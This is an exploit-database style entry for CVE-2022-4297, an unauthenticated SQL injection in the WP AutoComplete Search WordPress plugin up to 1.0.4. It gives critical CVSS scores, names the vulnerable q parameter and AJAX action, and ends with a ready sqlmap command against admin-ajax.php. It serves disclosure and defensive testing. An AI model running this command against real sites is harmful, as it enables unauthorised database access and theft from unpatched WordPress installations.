CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
82.1%
# Exploit Title: WP AutoComplete 1.0.4 - Unauthenticated SQLi
# Date: 30/06/2023
# Exploit Author: Matin nouriyan (matitanium)
# Version: <= 1.0.4
# CVE: CVE-2022-4297
Vendor Homepage: https://wordpress.org/support/plugin/wp-autosearch/
# Tested on: Kali linux
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The WP AutoComplete Search WordPress plugin through 1.0.4 does not sanitise
and escape a parameter before using it in a SQL statement via an AJAX available to unauthenticated users,
leading to an unauthenticated SQL injection
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How to Reproduce this Vulnerability:
1. Install WP AutoComplete <= 1.0.4
2. WP AutoComplete <= 1.0.4 using q parameter for ajax requests
3. Find requests belong to WP AutoComplete like step 5
4. Start sqlmap and exploit
5. python3 sqlmap.py -u "https://example.com/wp-admin/admin-ajax.php?q=[YourSearch]&Limit=1000×tamp=1645253464&action=wi_get_search_results&security=[xxxx]" --random-agent --level=5 --risk=2 -p q